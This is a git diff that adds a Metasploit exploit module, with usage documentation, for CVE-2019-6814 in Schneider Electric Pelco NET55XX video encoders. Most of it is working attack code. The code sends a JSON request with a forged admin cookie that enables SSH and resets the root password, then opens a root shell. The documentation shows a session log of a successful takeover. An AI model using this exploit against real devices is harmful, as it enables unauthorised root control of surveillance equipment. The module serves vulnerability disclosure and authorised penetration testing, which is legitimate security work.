diff --git a/documentation/modules/exploit/unix/http/schneider_electric_net55xx_encoder.md b/documentation/modules/exploit/unix/http/schneider_electric_net55xx_encoder.md new file mode 100644 index 0000000000..c01021f1cb --- /dev/null +++ b/documentation/modules/exploit/unix/http/schneider_electric_net55xx_encoder.md @@ -0,0 +1,47 @@ +## Vulnerable Application + +Schneider Electric Pelco NET55XX Encoder (CVE 2019-6814) + +Adding Schneider Electric Pelco NET55XX module affecting NET55XX versions (NET5501, NET5501-I, NET5501-XT, NET5504, NET5500,NET5516,NET550). +This module exploits an inadequate access control vulnerability creating a malicious JSON request to the `webUI` encoder, thus allowing the SSH service to be enabled and changing the root password. + +## Verification Steps + +- [ ] Start `msfconsole` +- [ ] `use exploit/linux/http/schneider_electric_net55xx_encoder` +- [ ] `set RHOSTS [rhosts]` +- [ ] `set RPORT [rport]` +- [ ] `set NEW_PASSWORD [new password]` +- [ ] `exploit` +- [ ] Verify you get a root shell + +## Options + +This module can be as simple as setting the `RHOST` and `NEW_PASSWORD` option, and you're ready to go. + +**NEW_PASSWORD** + +You should set a new SSH password to the vulnerable device. + +## Scenarios + +**Schneider Electric Pelco Encoder NET5501-XT** + +msf5 exploit(unix/http/schneider_electric_net55xx_encoder) > set RHOSTS 192.168.34.2 +RHOSTS => 192.168.34.2 +msf5 exploit(unix/http/schneider_electric_net55xx_encoder) > set RPORT 80 +RPORT => 80 +msf5 exploit(unix/http/schneider_electric_net55xx_encoder) > set NEW_PASSWORD msfrapid7 +NEW_PASSWORD => msfrapid7 +msf5 exploit(unix/http/schneider_electric_net55xx_encoder) > run + +[] 192.168.34.2:22 - Attempt to start a SSH connection... +[] 192.168.34.2:80 - Attempt to change the root password... +[+] 192.168.34.2:80 - Successfully changed the root password... +[+] 192.168.34.2:22 - Session established +[] Found shell. +[] Command shell session 1 opened (192.168.34.3:37033 -> 192.168.34.2:22) at 2019-07-03 10:57:07 -0400 + +uname -a;id +Linux NET5501-XT-K61200103 2.6.37 #1 PREEMPT Fri Aug 8 04:33:08 KST 2014 armv7l unknown +uid=0(root) gid=0(root) groups=0(root) diff --git a/modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb b/modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb new file mode 100644 index 0000000000..a3dc9b9248 --- /dev/null +++ b/modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb @@ -0,0 +1,160 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Udp + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::SSH + + def initialize(info={}) + super(update_info(info, + 'Name' => "Schneider Electric Pelco Endura NET55XX Encoder", + 'Description' => %q( + This module exploits inadequate access controls within the webUI to enable + the SSH service and change the root password. This module has been tested successfully + on: NET5501, NET5501-I, NET5501-XT, NET5504, NET5500, NET5516, NET550 versions. + ), + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Lucas Dinucci ', + 'Vitor Esperança ' + ], + 'References' => + [ + ['CVE', '2019-6814'], + ['URL', 'https://www.schneider-electric.com/en/download/document/SEVD-2019-134-01/'] + ], + 'Payload' => + { + 'Compat' => { + 'PayloadType' => 'cmd_interact', + 'ConnectionType' => 'find' + } + }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Targets' => [ [ "Universal", {} ] ], + 'Privileged' => true, + 'DisclosureDate' => "Jan 25 2019", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('NEW_PASSWORD', [ true, 'New password to be set for the root account', Rex::Text.rand_text_alphanumeric(16)]), + OptInt.new('TIMEOUT', [ true, 'Timeout for the requests', 10]) + ] + ) + + register_advanced_options( + [ + OptInt.new('UDP_PORT', [ true, 'UDP port for the ONVIF service', 3702]), + OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), + OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) + ] + ) + end + + def new_password + datastore['NEW_PASSWORD'] + end + + def check + xmlPayload = ''\ + ''\ + '
'\ + 'http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe'\ + 'uuid:f3d577a3-431f-4450-ab45-b480042b9c74'\ + ''\ + 'http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous'\ + ''\ + 'urn:schemas-xmlsoap-org:ws:2005:04:discovery'\ + '
'\ + ''\ + ''\ + 'dp0:NetworkVideoTransmitter'\ + ''\ + ''\ + '
' + + connect_udp(true, {'RPORT' => datastore['UDP_PORT']}) + udp_sock.put(xmlPayload) + resp = [] + resp << udp_sock.get(datastore['TIMEOUT']) + xmlResponse = resp.join(',') + disconnect_udp + if xmlResponse.include?("NET5501") || xmlResponse.include?("NET5501-I") || xmlResponse.include?("NET5501-XT") || xmlResponse.include?("NET5504") || xmlResponse.include?("NET5500") || xmlResponse.include?("NET5516") || xmlResponse.include?("NET5508") + return Exploit::CheckCode::Appears + end + CheckCode::Safe + end + + def change_password + print_status("#{peer} - Attempt to change the root password...") + post = {"enable": true, "passwd": new_password, "userid": "root"}.to_json + + login = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/cgi-bin/webra.fcgi?network/ssh'), + 'data' => post, + 'headers' => + { + 'Cookie' => 'live_onoff=0; userid=admin; grpid=ADMIN; permission=2147483647', + 'Content-Type' => 'application/json;charset=utf-8' + } + }, timeout=datastore['TIMEOUT']) + + fail_with(Failure::UnexpectedReply, "Failed to change root password") unless login && login.code == 200 + print_good("#{rhost}:80 - Successfully changed the root password...") + print_good("#{rhost}:80 - New credentials: User: root / Password: #{new_password}") + end + + def do_login + change_password + print_status("#{rhost}:22 - Attempt to start a SSH connection...") + factory = ssh_socket_factory + opts = { + :auth_methods => ['password', 'keyboard-interactive'], + :port => 22, + :use_agent => false, + :config => true, + :password => new_password, + :proxy => factory, + :non_interactive => true, + :verify_host_key => :never + } + opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] + begin + ssh = nil + ::Timeout.timeout(datastore['SSH_TIMEOUT']) do + ssh = Net::SSH.start(datastore['RHOST'], 'root', opts) + end + rescue Rex::ConnectionError + rescue Net::SSH::Disconnect, ::EOFError + print_error "#{rhost}:22 SSH - Disconnected during negotiation" + rescue ::Timeout::Error + print_error "#{rhost}:22 SSH - Timed out during negotiation" + rescue Net::SSH::AuthenticationFailed + print_error "#{rhost}:22 SSH - Failed authentication" + rescue Net::SSH::Exception => e + print_error "#{rhost}:22 SSH Error: #{e.class} : #{e.message}" + end + if ssh + conn = Net::SSH::CommandStream.new(ssh) + return conn + end + end + + def exploit + conn = do_login + if conn + print_good("#{rhost}:22 - Session established ") + handler(conn.lsock) + end + end +end